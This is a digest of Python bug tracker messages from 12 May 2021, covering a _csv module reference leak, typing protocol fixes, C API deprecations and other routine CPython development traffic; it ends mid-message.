Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 12 09:16:48 2021 From: report at bugs.python.org (Martin Teichmann) Date: Wed, 12 May 2021 13:16:48 +0000 Subject: [issue44115] Improve conversions for fractions In-Reply-To: <1620824977.65.0.255343602515.issue44115@roundup.psfhosted.org> Message-ID: <1620825408.16.0.0425898376067.issue44115@roundup.psfhosted.org> Change by Martin Teichmann : ---------- keywords: +patch pull_requests: +24705 stage: -> patch review pull_request: https://github.com/python/cpython/pull/26064 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 12 09:33:01 2021 From: report at bugs.python.org (Irit Katriel) Date: Wed, 12 May 2021 13:33:01 +0000 Subject: [issue25479] Increase unit test coverage for abc.py In-Reply-To: <1445829241.77.0.00855893760535.issue25479@psf.upfronthosting.co.za> Message-ID: <1620826381.7.0.346540913375.issue25479@roundup.psfhosted.org> Change by Irit Katriel : ---------- pull_requests: +24706 pull_request: https://github.com/python/cpython/pull/26065 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 12 09:34:11 2021 From: report at bugs.python.org (Petr Viktorin) Date: Wed, 12 May 2021 13:34:11 +0000 Subject: [issue44116] The _csv module can't be garbage-collected after _csv.register_dialect is called Message-ID: <1620826451.12.0.803238632537.issue44116@roundup.psfhosted.org> New submission from Petr Viktorin : After `_csv.register_dialect` is called, the csv module is alive even after it's removed from sys.modules. It should be garbage-collected. (It's not that big a deal: unloading _csv isn't something users should do. But it might be hiding a deeper issue.) The following reproducer (for a debug build of Python) shows an increasing number of refcounts. (Importing `csv` is the easiest way to call _csv._register_dialect with a proper argument): import sys import gc for i in range(10): import csv del sys.modules['_csv'] del sys.modules['csv'] del csv gc.collect() print(sys.gettotalrefcount()) ---------- components: Extension Modules messages: 393508 nosy: petr.viktorin priority: normal severity: normal status: open title: The _csv module can't be garbage-collected after _csv.register_dialect is called versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 12 09:36:38 2021 From: report at bugs.python.org (Petr Viktorin) Date: Wed, 12 May 2021 13:36:38 +0000 Subject: [issue43795] Implement PEP 652 -- Maintaining the Stable ABI In-Reply-To: <1617983030.95.0.501839301811.issue43795@roundup.psfhosted.org> Message-ID: <1620826598.98.0.957247364768.issue43795@roundup.psfhosted.org> Petr Viktorin added the comment: I opened https://bugs.python.org/issue44116 for the leak when trying to unload _csv. Looks like investigating that will take a while, so I'll send a small PR to unblock the buildbots. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 12 09:40:02 2021 From: report at bugs.python.org (Steve Dower) Date: Wed, 12 May 2021 13:40:02 +0000 Subject: [issue44070] __file__ is now fully qualified in 3.8 and 3.9 In-Reply-To: <1620417589.1.0.903069874446.issue44070@roundup.psfhosted.org> Message-ID: <1620826802.18.0.753191194506.issue44070@roundup.psfhosted.org> Change by Steve Dower : ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 12 09:45:28 2021 From: report at bugs.python.org (Irit Katriel) Date: Wed, 12 May 2021 13:45:28 +0000 Subject: [issue25479] Increase unit test coverage for abc.py In-Reply-To: <1445829241.77.0.00855893760535.issue25479@psf.upfronthosting.co.za> Message-ID: <1620827128.01.0.878941860097.issue25479@roundup.psfhosted.org> Irit Katriel added the comment: New changeset 1be93960612b29686d42c021f842e63e5143a625 by Miss Islington (bot) in branch '3.9': bpo-25479: add unit test for __subclasshook__ in test_abc.py (GH-24034) (GH-26063) https://github.com/python/cpython/commit/1be93960612b29686d42c021f842e63e5143a625 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 12 09:47:23 2021 From: report at bugs.python.org (miss-islington) Date: Wed, 12 May 2021 13:47:23 +0000 Subject: [issue44089] csv.Error can't be subclassed In-Reply-To: <1620562542.84.0.0917814059053.issue44089@roundup.psfhosted.org> Message-ID: <1620827243.03.0.0881538553941.issue44089@roundup.psfhosted.org> Change by miss-islington : ---------- nosy: +miss-islington nosy_count: 3.0 -> 4.0 pull_requests: +24707 pull_request: https://github.com/python/cpython/pull/26066 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 12 09:54:32 2021 From: report at bugs.python.org (Yurii Karabas) Date: Wed, 12 May 2021 13:54:32 +0000 Subject: [issue38908] Troubles with @runtime_checkable protocols In-Reply-To: <1574617196.5.0.297633036854.issue38908@roundup.psfhosted.org> Message-ID: <1620827672.35.0.562152872749.issue38908@roundup.psfhosted.org> Change by Yurii Karabas <1998uriyyo at gmail.com>: ---------- keywords: +patch nosy: +uriyyo nosy_count: 3.0 -> 4.0 pull_requests: +24708 stage: -> patch review pull_request: https://github.com/python/cpython/pull/26067 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 12 09:56:25 2021 From: report at bugs.python.org (Yurii Karabas) Date: Wed, 12 May 2021 13:56:25 +0000 Subject: [issue38908] Troubles with @runtime_checkable protocols In-Reply-To: <1574617196.5.0.297633036854.issue38908@roundup.psfhosted.org> Message-ID: <1620827785.04.0.656294805888.issue38908@roundup.psfhosted.org> Yurii Karabas <1998uriyyo at gmail.com> added the comment: Hi Guido, I decided to help with this issue as far as Kevin did not respond. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 12 09:58:53 2021 From: report at bugs.python.org (Petr Viktorin) Date: Wed, 12 May 2021 13:58:53 +0000 Subject: [issue44116] The _csv module can't be garbage-collected after _csv.register_dialect is called In-Reply-To: <1620826451.12.0.803238632537.issue44116@roundup.psfhosted.org> Message-ID: <1620827933.8.0.23588750024.issue44116@roundup.psfhosted.org> Petr Viktorin added the comment: Hm, a similar thing apparently happens with urllib.request. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 12 09:59:23 2021 From: report at bugs.python.org (Petr Viktorin) Date: Wed, 12 May 2021 13:59:23 +0000 Subject: [issue44116] The _csv module can't be garbage-collected after _csv.register_dialect is called In-Reply-To: <1620826451.12.0.803238632537.issue44116@roundup.psfhosted.org> Message-ID: <1620827963.71.0.887649516826.issue44116@roundup.psfhosted.org> Change by Petr Viktorin : ---------- keywords: +patch pull_requests: +24709 stage: -> patch review pull_request: https://github.com/python/cpython/pull/26068 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 12 10:02:50 2021 From: report at bugs.python.org (Senthil Kumaran) Date: Wed, 12 May 2021 14:02:50 +0000 Subject: [issue44089] csv.Error can't be subclassed In-Reply-To: <1620562542.84.0.0917814059053.issue44089@roundup.psfhosted.org> Message-ID: <1620828170.54.0.972384062079.issue44089@roundup.psfhosted.org> Senthil Kumaran added the comment: New changeset 3e44e9af9ea4c5e82912a01f256d4abcae96f32b by Miss Islington (bot) in branch '3.10': bpo-44089: Allow subclassing of ``csv.Error`` (GH-26008) (GH-26066) https://github.com/python/cpython/commit/3e44e9af9ea4c5e82912a01f256d4abcae96f32b ---------- nosy: +orsenthil _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 12 10:03:02 2021 From: report at bugs.python.org (Senthil Kumaran) Date: Wed, 12 May 2021 14:03:02 +0000 Subject: [issue44089] csv.Error can't be subclassed In-Reply-To: <1620562542.84.0.0917814059053.issue44089@roundup.psfhosted.org> Message-ID: <1620828182.28.0.431809140704.issue44089@roundup.psfhosted.org> Change by Senthil Kumaran : ---------- assignee: -> orsenthil resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 12 10:04:27 2021 From: report at bugs.python.org (Senthil Kumaran) Date: Wed, 12 May 2021 14:04:27 +0000 Subject: [issue44089] csv.Error can't be subclassed In-Reply-To: <1620562542.84.0.0917814059053.issue44089@roundup.psfhosted.org> Message-ID: <1620828267.57.0.315307736133.issue44089@roundup.psfhosted.org> Senthil Kumaran added the comment: This was also merged in 3.11 https://github.com/python/cpython/commit/2b458c1dba4058c808fde25226bb2d91c5a909ca ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 12 10:06:39 2021 From: report at bugs.python.org (Irit Katriel) Date: Wed, 12 May 2021 14:06:39 +0000 Subject: [issue25479] Increase unit test coverage for abc.py In-Reply-To: <1445829241.77.0.00855893760535.issue25479@psf.upfronthosting.co.za> Message-ID: <1620828399.11.0.370953045081.issue25479@roundup.psfhosted.org> Irit Katriel added the comment: New changeset bd5dfd6c8c133ccda4dddcba3a8c5a9ea1aa1d6b by Irit Katriel in branch '3.10': [3.10] bpo-25479: add unit test for __subclasshook__ in test_abc.py (GH-24034) (GH-26065) https://github.com/python/cpython/commit/bd5dfd6c8c133ccda4dddcba3a8c5a9ea1aa1d6b ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 12 10:19:30 2021 From: report at bugs.python.org (Yurii Karabas) Date: Wed, 12 May 2021 14:19:30 +0000 Subject: [issue38908] Troubles with @runtime_checkable protocols In-Reply-To: <1574617196.5.0.297633036854.issue38908@roundup.psfhosted.org> Message-ID: <1620829170.5.0.754273733931.issue38908@roundup.psfhosted.org> Yurii Karabas <1998uriyyo at gmail.com> added the comment: I checked and this bug is not present at 3.11 version. So I simply added test to cover case mentioned by Ivan. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 12 10:32:17 2021 From: report at bugs.python.org (Yurii Karabas) Date: Wed, 12 May 2021 14:32:17 +0000 Subject: [issue38908] Troubles with @runtime_checkable protocols In-Reply-To: <1574617196.5.0.297633036854.issue38908@roundup.psfhosted.org> Message-ID: <1620829937.89.0.0212479131645.issue38908@roundup.psfhosted.org> Yurii Karabas <1998uriyyo at gmail.com> added the comment: Please forget my previous msg, this bug still present at 3.11 version. PR contains fix proposed by Kevin. Sorry for making to much noise. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 12 10:42:05 2021 From: report at bugs.python.org (Erlend E. Aasland) Date: Wed, 12 May 2021 14:42:05 +0000 Subject: [issue44116] The _csv module can't be garbage-collected after _csv.register_dialect is called In-Reply-To: <1620826451.12.0.803238632537.issue44116@roundup.psfhosted.org> Message-ID: <1620830525.06.0.288456838533.issue44116@roundup.psfhosted.org> Erlend E. Aasland added the comment: Could it be that the _csv heap types are not garbage collected? Ref. bpo-42972. ---------- nosy: +erlendaasland _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 12 10:48:25 2021 From: report at bugs.python.org (Martin) Date: Wed, 12 May 2021 14:48:25 +0000 Subject: [issue43656] StackSummary.format fails if repr(value) fails In-Reply-To: <1617010609.77.0.749976985588.issue43656@roundup.psfhosted.org> Message-ID: <1620830905.48.0.487630469279.issue43656@roundup.psfhosted.org> Martin added the comment: Thanks for the explanations. I think this issue can be closed then. ---------- title: StackSummary.format fails if str(value) fails -> StackSummary.format fails if repr(value) fails _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 12 10:50:55 2021 From: report at bugs.python.org (Erlend E. Aasland) Date: Wed, 12 May 2021 14:50:55 +0000 Subject: [issue44116] The _csv module can't be garbage-collected after _csv.register_dialect is called In-Reply-To: <1620826451.12.0.803238632537.issue44116@roundup.psfhosted.org> Message-ID: <1620831055.79.0.708160674103.issue44116@roundup.psfhosted.org> Erlend E. Aasland added the comment: Adding GC to _csv types: $ cat import sys import gc for i in range(10): import csv del sys.modules['_csv'] del sys.modules['csv'] del csv gc.collect() print(sys.gettotalrefcount()) $ ./python.exe bug.py 73164 73164 73166 73166 73166 73166 73166 73166 73166 73166 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 12 10:51:26 2021 From: report at bugs.python.org (Erlend E. Aasland) Date: Wed, 12 May 2021 14:51:26 +0000 Subject: [issue44116] The _csv module can't be garbage-collected after _csv.register_dialect is called In-Reply-To: <1620826451.12.0.803238632537.issue44116@roundup.psfhosted.org> Message-ID: <1620831086.74.0.956823156776.issue44116@roundup.psfhosted.org> Change by Erlend E. Aasland : Added file: https://bugs.python.org/file50038/gc.diff _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 12 10:52:29 2021 From: report at bugs.python.org (Erlend E. Aasland) Date: Wed, 12 May 2021 14:52:29 +0000 Subject: [issue44116] The _csv module can't be garbage-collected after _csv.register_dialect is called In-Reply-To: <1620826451.12.0.803238632537.issue44116@roundup.psfhosted.org> Message-ID: <1620831149.48.0.392249959764.issue44116@roundup.psfhosted.org> Erlend E. Aasland added the comment: I created a quick-and-dirty patch. I can clean it up and make it into a PR if you want. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 12 10:53:03 2021 From: report at bugs.python.org (Irit Katriel) Date: Wed, 12 May 2021 14:53:03 +0000 Subject: [issue43656] StackSummary.format fails if repr(value) fails In-Reply-To: <1617010609.77.0.749976985588.issue43656@roundup.psfhosted.org> Message-ID: <1620831183.58.0.423434469712.issue43656@roundup.psfhosted.org> Change by Irit Katriel : ---------- resolution: -> not a bug stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 12 10:54:11 2021 From: report at bugs.python.org (Irit Katriel) Date: Wed, 12 May 2021 14:54:11 +0000 Subject: [issue39228] traceback.FrameSummary does not handle exceptions from `repr()` In-Reply-To: <1578284065.37.0.657086816746.issue39228@roundup.psfhosted.org> Message-ID: <1620831251.37.0.589489596942.issue39228@roundup.psfhosted.org> Change by Irit Katriel : ---------- resolution: -> not a bug stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 12 11:07:51 2021 From: report at bugs.python.org (Petr Viktorin) Date: Wed, 12 May 2021 15:07:51 +0000 Subject: [issue44116] The _csv module can't be garbage-collected after _csv.register_dialect is called In-Reply-To: <1620826451.12.0.803238632537.issue44116@roundup.psfhosted.org> Message-ID: <1620832071.5.0.61752153918.issue44116@roundup.psfhosted.org> Petr Viktorin added the comment: *facepalm* Yes, that's it. If you have the time now, could you send he PR? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 12 11:10:39 2021 From: report at bugs.python.org (Erlend E. Aasland) Date: Wed, 12 May 2021 15:10:39 +0000 Subject: [issue44116] The _csv module can't be garbage-collected after _csv.register_dialect is called In-Reply-To: <1620826451.12.0.803238632537.issue44116@roundup.psfhosted.org> Message-ID: <1620832239.34.0.675436763939.issue44116@roundup.psfhosted.org> Erlend E. Aasland added the comment: Sure, I?ll do it after dinner :) ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 12 11:23:48 2021 From: report at bugs.python.org (STINNER Victor) Date: Wed, 12 May 2021 15:23:48 +0000 Subject: [issue44117] [C API] Remove deprecated PyEval_InitThreads() Message-ID: <1620833028.19.0.0980043255571.issue44117@roundup.psfhosted.org> New submission from STINNER Victor : Remove PyEval_InitThreads() and PyEval_ThreadsInitialized() functions. The GIL is created by Py_Initialize() since Python 3.7, and so calling PyEval_InitThreads() explicitly was useless since Python 3.7. Deprecated in 3.9, PyEval_InitThreads() did nothing and PyEval_ThreadsInitialized() already returned true. ---------- components: C API messages: 393524 nosy: vstinner priority: normal severity: normal status: open title: [C API] Remove deprecated PyEval_InitThreads() versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 12 11:28:29 2021 From: report at bugs.python.org (STINNER Victor) Date: Wed, 12 May 2021 15:28:29 +0000 Subject: [issue44117] [C API] Remove deprecated PyEval_InitThreads() In-Reply-To: <1620833028.19.0.0980043255571.issue44117@roundup.psfhosted.org> Message-ID: <1620833309.85.0.489193006234.issue44117@roundup.psfhosted.org> Change by STINNER Victor : ---------- keywords: +patch pull_requests: +24710 stage: -> patch review pull_request: https://github.com/python/cpython/pull/26070 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 12 11:30:43 2021 From: report at bugs.python.org (STINNER Victor) Date: Wed, 12 May 2021 15:30:43 +0000 Subject: [issue44117] [C API] Remove deprecated PyEval_InitThreads() In-Reply-To: <1620833028.19.0.0980043255571.issue44117@roundup.psfhosted.org> Message-ID: <1620833443.67.0.454560048547.issue44117@roundup.psfhosted.org> Change by STINNER Victor : ---------- pull_requests: +24711 pull_request: https://github.com/python/cpython/pull/26071 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 12 11:40:49 2021 From: report at bugs.python.org (Petr Viktorin) Date: Wed, 12 May 2021 15:40:49 +0000 Subject: [issue40645] Use OpenSSL's HMAC API In-Reply-To: <1589641291.33.0.635001105595.issue40645@roundup.psfhosted.org> Message-ID: <1620834049.89.0.267240269711.issue40645@roundup.psfhosted.org> Change by Petr Viktorin : ---------- nosy: +petr.viktorin nosy_count: 5.0 -> 6.0 pull_requests: +24712 pull_request: https://github.com/python/cpython/pull/26072 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 12 11:46:32 2021 From: report at bugs.python.org (Petr Viktorin) Date: Wed, 12 May 2021 15:46:32 +0000 Subject: [issue44116] The _csv module can't be garbage-collected after _csv.register_dialect is called In-Reply-To: <1620826451.12.0.803238632537.issue44116@roundup.psfhosted.org> Message-ID: <1620834392.43.0.0659471267269.issue44116@roundup.psfhosted.org> Petr Viktorin added the comment: The urllib.request one was caused by _hashlib, see GH-26072. ---------- stage: patch review -> _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 12 11:48:04 2021 From: report at bugs.python.org (miss-islington) Date: Wed, 12 May 2021 15:48:04 +0000 Subject: [issue38908] Troubles with @runtime_checkable protocols In-Reply-To: <1574617196.5.0.297633036854.issue38908@roundup.psfhosted.org> Message-ID: <1620834484.03.0.320920976783.issue38908@roundup.psfhosted.org> Change by miss-islington : ---------- nosy: +miss-islington nosy_count: 4.0 -> 5.0 pull_requests: +24713 pull_request: https://github.com/python/cpython/pull/26073 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 12 11:51:51 2021 From: report at bugs.python.org (Erlend E. Aasland) Date: Wed, 12 May 2021 15:51:51 +0000 Subject: [issue44116] The _csv module can't be garbage-collected after _csv.register_dialect is called In-Reply-To: <1620826451.12.0.803238632537.issue44116@roundup.psfhosted.org> Message-ID: <1620834711.6.0.451487369997.issue44116@roundup.psfhosted.org> Change by Erlend E. Aasland : ---------- pull_requests: +24714 stage: -> patch review pull_request: https://github.com/python/cpython/pull/26074 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 12 11:56:13 2021 From: report at bugs.python.org (Erlend E. Aasland) Date: Wed, 12 May 2021 15:56:13 +0000 Subject: [issue44116] The _csv module can't be garbage-collected after _csv.register_dialect is called In-Reply-To: <1620826451.12.0.803238632537.issue44116@roundup.psfhosted.org> Message-ID: <1620834973.44.0.541136271553.issue44116@roundup.psfhosted.org> Erlend E. Aasland added the comment: I don't understand this. After applying PR-26074, test_csv now leaks memory/refs: $ ./python.exe -m test -R : test_csv 0:00:00 load avg: 1.18 Run tests sequentially 0:00:00 load avg: 1.18 [1/1] test_csv beginning 9 repetitions 123456789 ......... test_csv leaked [3928, 3924, 3924, 3924] references, sum=15700 test_csv leaked [1666, 1664, 1664, 1664] memory blocks, sum=6658 test_csv failed == Tests result: FAILURE == 1 test failed: test_csv Total duration: 4.9 sec Tests result: FAILURE Any ideas? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 12 11:59:51 2021 From: report at bugs.python.org (Erlend E. Aasland) Date: Wed, 12 May 2021 15:59:51 +0000 Subject: [issue44116] The _csv module can't be garbage-collected after _csv.register_dialect is called In-Reply-To: <1620826451.12.0.803238632537.issue44116@roundup.psfhosted.org> Message-ID: <1620835191.12.0.208517362592.issue44116@roundup.psfhosted.org> Erlend E. Aasland added the comment: Also, for some reason two first iterations of the reproducer prints 2 less ref counts. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 12 12:04:15 2021 From: report at bugs.python.org (Ken Jin) Date: Wed, 12 May 2021 16:04:15 +0000 Subject: [issue38908] Troubles with @runtime_checkable protocols In-Reply-To: <1574617196.5.0.297633036854.issue38908@roundup.psfhosted.org> Message-ID: <1620835455.95.0.093846002489.issue38908@roundup.psfhosted.org> Change by Ken Jin : ---------- nosy: +kj nosy_count: 5.0 -> 6.0 pull_requests: +24715 pull_request: https://github.com/python/cpython/pull/26075 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 12 12:09:12 2021 From: report at bugs.python.org (miss-islington) Date: Wed, 12 May 2021 16:09:12 +0000 Subject: [issue38908] Troubles with @runtime_checkable protocols In-Reply-To: <1574617196.5.0.297633036854.issue38908@roundup.psfhosted.org> Message-ID: <1620835752.66.0.632714089025.issue38908@roundup.psfhosted.org> miss-islington added the comment: New changeset a2d94a0a9b8ae95d7d2b7fc34b501da5242ec22c by Miss Islington (bot) in branch '3.10': bpo-38908: Fix issue when non runtime_protocol failed to raise TypeError (GH-26067) https://github.com/python/cpython/commit/a2d94a0a9b8ae95d7d2b7fc34b501da5242ec22c ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 12 12:18:54 2021 From: report at bugs.python.org (Petr Viktorin) Date: Wed, 12 May 2021 16:18:54 +0000 Subject: [issue44116] The _csv module can't be garbage-collected after _csv.register_dialect is called In-Reply-To: <1620826451.12.0.803238632537.issue44116@roundup.psfhosted.org> Message-ID: <1620836334.43.0.608965543497.issue44116@roundup.psfhosted.org> Petr Viktorin added the comment: Changes to _csv.Error should not be necessary, there everything is handled by the superclass. ---------- stage: patch review -> _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 12 12:19:47 2021 From: report at bugs.python.org (Erlend E. Aasland) Date: Wed, 12 May 2021 16:19:47 +0000 Subject: [issue44116] The _csv module can't be garbage-collected after _csv.register_dialect is called In-Reply-To: <1620826451.12.0.803238632537.issue44116@roundup.psfhosted.org> Message-ID: <1620836387.14.0.683991943518.issue44116@roundup.psfhosted.org> Erlend E. Aasland added the comment: > Changes to _csv.Error should not be necessary, there everything is handled by the superclass. Got it; thanks. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 12 12:21:43 2021 From: report at bugs.python.org (Erlend E. Aasland) Date: Wed, 12 May 2021 16:21:43 +0000 Subject: [issue44116] The _csv module can't be garbage-collected after _csv.register_dialect is called In-Reply-To: <1620826451.12.0.803238632537.issue44116@roundup.psfhosted.org> Message-ID: <1620836503.89.0.692702696481.issue44116@roundup.psfhosted.org> Erlend E. Aasland added the comment: Yeah, that helped a lot: test_csv leaked [487, 487, 487, 487] memory blocks, sum=1948 Thanks! :) ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 12 12:58:20 2021 From: report at bugs.python.org (Mark Shannon) Date: Wed, 12 May 2021 16:58:20 +0000 Subject: [issue44032] Function locals and evaluation stack should be stored in a contiguous, per-thread stack In-Reply-To: <1620140071.36.0.488434643792.issue44032@roundup.psfhosted.org> Message-ID: <1620838700.72.0.652802025007.issue44032@roundup.psfhosted.org> Change by Mark Shannon : ---------- keywords: +patch pull_requests: +24716 stage: -> patch review pull_request: https://github.com/python/cpython/pull/26076 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 12 13:04:54 2021 From: report at bugs.python.org (miss-islington) Date: Wed, 12 May 2021 17:04:54 +0000 Subject: [issue38908] Troubles with @runtime_checkable protocols In-Reply-To: <1574617196.5.0.297633036854.issue38908@roundup.psfhosted.org> Message-ID: <1620839094.73.0.86139777671.issue38908@roundup.psfhosted.org> miss-islington added the comment: New changeset 88136bbd0500b688c05e914be031cd3c243e42d8 by Ken Jin in branch '3.9': [3.9] bpo-38908: Fix issue when non runtime_protocol does not raise TypeError (GH-26067) (GH-26075) https://github.com/python/cpython/commit/88136bbd0500b688c05e914be031cd3c243e42d8 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 12 13:06:19 2021 From: report at bugs.python.org (Thierry Excoffier) Date: Wed, 12 May 2021 17:06:19 +0000 Subject: [issue31753] Unnecessary closure in ast.literal_eval In-Reply-To: <1507672927.75.0.213398074469.issue31753@psf.upfronthosting.co.za> Message-ID: <1620839179.19.0.0428273520843.issue31753@roundup.psfhosted.org> Thierry Excoffier added the comment: I assumed that the standard python library does not create circular references, so the GC can be disabled safely in real time application. Each time 'literal_eval' is called, it creates a circular reference and so a memory leak. The source of this leak is the recursive closure. ---------- nosy: +thierry.excoffier _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 12 13:19:42 2021 From: report at bugs.python.org (E. Paine) Date: Wed, 12 May 2021 17:19:42 +0000 Subject: [issue43504] Site linked in docs, effbot.org, down In-Reply-To: <1615849580.97.0.243341860557.issue43504@roundup.psfhosted.org> Message-ID: <1620839982.53.0.255324717383.issue43504@roundup.psfhosted.org> E. Paine added the comment: @Mark, would it be at all possible for you to host the tkinter part content from Effbot on your site (as you did with the Shipman docs for #37149)? The docs have been down since mid-November and there is no indication of when they'll come back up. Since tkinter does not have very good docs on docs.python.org, this is (still) a very valuable resource. ---------- nosy: +effbot, epaine, markroseman _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 12 13:21:10 2021 From: report at bugs.python.org (Ken Jin) Date: Wed, 12 May 2021 17:21:10 +0000 Subject: [issue38908] Troubles with @runtime_checkable protocols In-Reply-To: <1574617196.5.0.297633036854.issue38908@roundup.psfhosted.org> Message-ID: <1620840070.8.0.235882876664.issue38908@roundup.psfhosted.org> Change by Ken Jin : ---------- pull_requests: +24717 pull_request: https://github.com/python/cpython/pull/26077 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 12 13:23:44 2021 From: report at bugs.python.org (Senthil Kumaran) Date: Wed, 12 May 2021 17:23:44 +0000 Subject: [issue43504] Site linked in docs, effbot.org, down In-Reply-To: <1615849580.97.0.243341860557.issue43504@roundup.psfhosted.org> Message-ID: <1620840224.06.0.443708511017.issue43504@roundup.psfhosted.org> Senthil Kumaran added the comment: Julien, we could remove them from docs.python.org instead of pointing to archive.org. Users will be able to find more recent examples in the internet. ---------- nosy: +orsenthil _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 12 13:29:07 2021 From: report at bugs.python.org (Ken Jin) Date: Wed, 12 May 2021 17:29:07 +0000 Subject: [issue38908] Troubles with @runtime_checkable protocols In-Reply-To: <1574617196.5.0.297633036854.issue38908@roundup.psfhosted.org> Message-ID: <1620840547.1.0.850018351721.issue38908@roundup.psfhosted.org> Ken Jin added the comment: Yurii and Kevin, thanks for pushing the patch forward! Thanks for the review too Guido. I'm closing this issue as all bugfix PRs have landed to bugfix branches. This will make its way into the next versions of Python for those respective branches. One point of contention is whether to introduce this in 3.9.6. This will cause code previously working in 3.9.5 to throw an error if people were using it incorrectly. So it might be better to only enforce this in 3.10 onwards. I created GH-26077 just in case the decision is made to revert. Sorry for any inconvenience caused everyone! ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed versions: +Python 3.10, Python 3.11 -Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 12 13:44:21 2021 From: report at bugs.python.org (miss-islington) Date: Wed, 12 May 2021 17:44:21 +0000 Subject: [issue38908] Troubles with @runtime_checkable protocols In-Reply-To: <1574617196.5.0.297633036854.issue38908@roundup.psfhosted.org> Message-ID: <1620841461.43.0.236287044807.issue38908@roundup.psfhosted.org> miss-islington added the comment: New changeset 9b90ce68503f4861ce4e9ac9444d9a82b3d943a5 by Ken Jin in branch '3.9': [3.9] Revert "[3.9] bpo-38908: Fix issue when non runtime_protocol does not raise TypeError (GH-26067)" (GH-26077) https://github.com/python/cpython/commit/9b90ce68503f4861ce4e9ac9444d9a82b3d943a5 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 12 13:50:16 2021 From: report at bugs.python.org (Irit Katriel) Date: Wed, 12 May 2021 17:50:16 +0000 Subject: [issue25479] Increase unit test coverage for abc.py In-Reply-To: <1445829241.77.0.00855893760535.issue25479@psf.upfronthosting.co.za> Message-ID: <1620841816.34.0.452071774436.issue25479@roundup.psfhosted.org> Irit Katriel added the comment: Thank you! ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 12 13:53:21 2021 From: report at bugs.python.org (Erlend E. Aasland) Date: Wed, 12 May 2021 17:53:21 +0000 Subject: [issue40645] Use OpenSSL's HMAC API In-Reply-To: <1589641291.33.0.635001105595.issue40645@roundup.psfhosted.org> Message-ID: <1620842001.14.0.0790097829376.issue40645@roundup.psfhosted.org> Change by Erlend E. Aasland : ---------- nosy: +erlendaasland nosy_count: 6.0 -> 7.0 pull_requests: +24718 pull_request: https://github.com/python/cpython/pull/26079 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 12 13:56:02 2021 From: report at bugs.python.org (hai shi) Date: Wed, 12 May 2021 17:56:02 +0000 Subject: [issue41111] [C API] Convert a few stdlib extensions to the limited C API (PEP 384) In-Reply-To: <1593075260.88.0.835474638855.issue41111@roundup.psfhosted.org> Message-ID: <1620842162.46.0.175977372051.issue41111@roundup.psfhosted.org> Change by hai shi : ---------- pull_requests: +24719 pull_request: https://github.com/python/cpython/pull/26080 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 12 13:57:38 2021 From: report at bugs.python.org (Jonathan Schweder) Date: Wed, 12 May 2021 17:57:38 +0000 Subject: [issue44104] http.cookies.CookieError: Illegal key In-Reply-To: <1620671460.12.0.286608999298.issue44104@roundup.psfhosted.org> Message-ID: <1620842258.76.0.439860089121.issue44104@roundup.psfhosted.org> Jonathan Schweder added the comment: Simple example to reproduce the issue: from http import cookies C = cookies.SimpleCookie() C["ys-api/mpegts/service"] = "blabla" print(C.output()) @ra1nb0w so far as I have found [1][2], the "/" not a valid character for the 